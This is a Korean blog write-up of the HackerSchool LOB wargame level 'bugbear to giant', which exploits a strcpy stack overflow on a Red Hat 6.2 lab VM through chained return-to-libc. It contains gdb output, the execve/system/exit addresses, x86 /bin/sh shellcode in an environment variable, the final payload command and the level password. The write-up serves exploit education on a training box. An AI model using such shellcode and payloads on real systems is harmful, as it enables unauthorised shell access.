[lob] 해커스쿨 bugbear -> giant 풀이
- 보안/HackerSchool-lob
- 2020. 1. 29. 00:35
l 해커스쿨 bugbear 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
bugbear 문제의 아이디인 bugbear 와 password인 new divide 을 입력하여 bugbear의 유저로 접속합니다.
[bugbear@localhost bugbear]$ ls -l total 20 -rwsr-sr-x 1 giant giant 12933 Mar 9 2010 giant -rw-r--r-- 1 root root 920 Mar 29 2010 giant.c [bugbear@localhost bugbear]$ cat giant.c /* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) { char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2){ printf("argv error\n"); exit(0); } // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret != execve_addr) { printf("You must use execve!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
ls -l 명령어를 사용하여 현재 위치( /home/giant ) 아래에 있는 디렉터리의 목록을 확인합니다.
giant.c 파일을 읽어보니 위와 같은 힌트 코드가 있습니다.
힌트 코드를 분석해보겠습니다.
1. argc는 2 이상이어야 합니다.
2. 중간의 코드들은 아래에서 설명하겠습니다.
3. ret의 주소와 execve_addr의 주소가 같아야 합니다.
분석 결과 제일 중요한 부분은 ret와 execve_addr을 같게 하여 프로그램이 종료되지 않도록 하는 것입니다.
lib_addr에 값을 저장하는 코드와 execve_offset에 값을 저장하는 코드가 같기 때문에 하나만 살펴보겠습니다.
1. popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"): 첫 번째 인자들을 실행시킵니다. 이 명령어 같은 경우 시스템 명령 및 특정 프로그램을 실행시킨다고 합니다. 현재 코드에서는 libc의 메모리 주소를 찾는 명령을 실행시킵니다.
-awk 명령어 libc에 이어 파이프라인을 이용하여 awk 명령을 실행시키는 구문도 있습니다. awk '{print $4}' 를 하게 되면 네 번째 필드 값을 출력합니다. 즉 간단하게 예를 들자면 하나 둘 셋 넷 위와 같이 네 개의 필드가 있을 때 print $n은 n번째 필드를 출력합니다. n이 4일 경우 넷을 출력하게 됩니다. |
2. fgets(buffer, 255, fp): 최대 크기가 255이하 만큼을 fp로부터 읽습니다. 단 "\n"과 EOF를 만나면 멈추고, 다 읽었다면 buffer에 씁니다.
3. sscanf(buffer, "(%x)", &lib_addr): 버퍼에서 포맷을 지정하여 읽어오는 함수로 buffer에는 현재 (0x40018000)가 담겨 있습니다. 여기서 %x에 해당되는 0x40018000이 lib_addr에 담깁니다.
[bugbear@localhost bugbear]$ ldd giant | grep libc libc.so.6 => /lib/libc.so.6 (0x40018000) [bugbear@localhost bugbear]$ ldd giant | grep libc | awk '{print $4}' (0x40018000) [bugbear@localhost bugbear]$ nm /lib/libc.so.6 | grep __execve 00091d48 t __execve |
giant.c 코드 상에서 popen에 전달되는 명령들을 직접 실행해본 결과입니다. 결과에 따라 lib_addr에는 0x40018000이 execve_offset에는 00091d48이 담기게 됩니다. 따라서 execve_addr은 위 두 개를 더한 400a9d48이 됩니다.
[bugbear@localhost bugbear]$ cp giant bugbear [bugbear@localhost bugbear]$ gdb bugbear GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048560 <main>: push %ebp 0x8048563 <main+3>: sub $0x3c,%esp 0x8048668 <main+264>: mov (%eax),%edx ---Type to continue, or q to quit--- 0x804866a <main+266>: push %edx 0x804866b <main+267>: lea 0xffffffd8(%ebp),%eax 0x804866e <main+270>: push %eax 0x804866f <main+271>: call 0x8048494 <strcpy> ... |
gdb 실행 및 확인을 위해서 giant 파일을 복사해 bugbear 파일을 하나 생성해주었습니다.
bugbear 파일을 gdb로 분석해보도록 하겠습니다. 빨간색 부분만 참고하면 될 것입니다.
1. 0x8048563 <main+3>: sub $0x3c,%esp
0x3c를 10진수로 변환하면 60입니다. 스택에 총 60바이트를 할당하였습니다.
2. 0x804866f <main+271>: call 0x8048494 <strcpy>
giant.c 파일에서 strcpy에 argv[1], buffer 총 두 개의 인자가 들어갑니다. 스택에 push 되는 순서는 buffer가 나중이기에 <main+270>에서 push 되는 주소가 buffer의 시작 주소입니다.
11011000 => 00100111 => 00101000 => 8 + 32 = 40
따라서 buffer는 ebp - 40부터 시작됩니다.
앞의 문제와 같이 RTL 기법을 이용하여 문제를 풀어야 합니다. darkknight 문제에서는 main의 return 부분에 system 함수의 주소를 넣어주었지만 이번 문제에서는 return에 필수적으로 execve 주소가 들어가야 합니다. 따라서 execve의 주소를 main의 return 영역에 넣어주고, execve의 return 영역에 system 함수의 주소를 넣어 문제를 풀어보도록 하겠습니다.
간단하게 그림으로 나타내면 다음과 같습니다.
우선 execve 함수 설명은 다음과 같습니다.
path에 지정한 경로명의 파일을 실행하며 argv, envp를 인자로 전달합니다. argv와 envp는 포인터 배열입니다. |
노란색 네모를 보겠습니다. main의 return 부분에 execve 주소가 들어가게 되면 그보다 +4byte인 부분은 RTL 기법 개념에 의해 execve의 return 영역이 됩니다. 그리고 +8byte인 부분은 execve의 인자가 들어가는 부분이 됩니다. 이제 초록색 네모를 보겠습니다.
execve의 return 부분에 system 주소를 넣어주고, execve의 첫 인자로 exit()의 주소를 넣어줄 것입니다. 그렇게 되면 execve는 실행이 되며 exit()에 의해 종료가 될 것이고, execve의 return 영역에서 system 함수의 주소를 만나 system 함수로 가게 될 것입니다.
execve와 마찬가지로 system 함수의 인자또한 +8byte인 부분에 위치합니다. 따라서 /bin/sh의 주소를 그곳에 넣어주도록 하겠습니다. 우선 system 함수의 주소와 exit 함수의 주소를 먼저 찾겠습니다.
(gdb) b *main Breakpoint 1 at 0x8048560 (gdb) r AAAA Starting program: /home/bugbear/bugbear AAAA Breakpoint 1, 0x8048560 in main () (gdb) p system $2 = {} 0x40058ae0 <__libc_system> (gdb) p exit $3 = {void (int)} 0x400391e0 |
gdb를 통해 확인한 결과 system 함수는 0x40058ae0, exit 함수는 0x400391e0라는 것을 알 수 있습니다. 그리고 셸 코드를 넣을 환경변수를 만들겠습니다.
[bugbear@localhost bugbear]$ bash2 [bugbear@localhost bugbear]$ export EGG=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` [bugbear@localhost bugbear]$ echo 'int main(){ printf("ADDR : 0x%x\n",getenv("EGG"));}' > getenv.c [bugbear@localhost bugbear]$ gcc -o getenv getenv.c [bugbear@localhost bugbear]$ ./getenv ADDR : 0xbffffe4e |
셸 코드가 위치하는 주소는 0xbffffe4e 입니다. 최종적으로 페이로드를 구성하겠습니다.
| 페이로드
./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\x4e\xfe\xff\xbf"'`"
=> 구글링을 통해 찾아보니 0a 같은 경우 00으로 인식이 된다고 합니다. 따라서 python부터 전체 문장을 문자열로 묶어주어야 합니다.
[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\x4e\xfe\xff\xbf"'`" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH bash$ id uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) bash$ my-pass euid = 514 one step closer |
위의 페이로드를 넣고 id 명령을 입력하니 euid가 giant인 것을 확인할 수 있습니다. my-pass를 입력해 giant user의 비밀번호를 찾을 수 있습니다.
l giant 비밀번호
euid = 514
one step closer
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 assassin -> zombie_assassin 풀이 (0) | 2020.02.01 |
---|---|
[lob] 해커스쿨 giant -> assassin 풀이 (0) | 2020.01.30 |
[lob] 해커스쿨 darkknight -> bugbear 풀이 (0) | 2020.01.27 |
[lob] 해커스쿨 golem -> darkknight 풀이 (0) | 2020.01.25 |
[lob] 해커스쿨 skeleton -> golem 풀이 (0) | 2020.01.22 |
이 글을 공유하기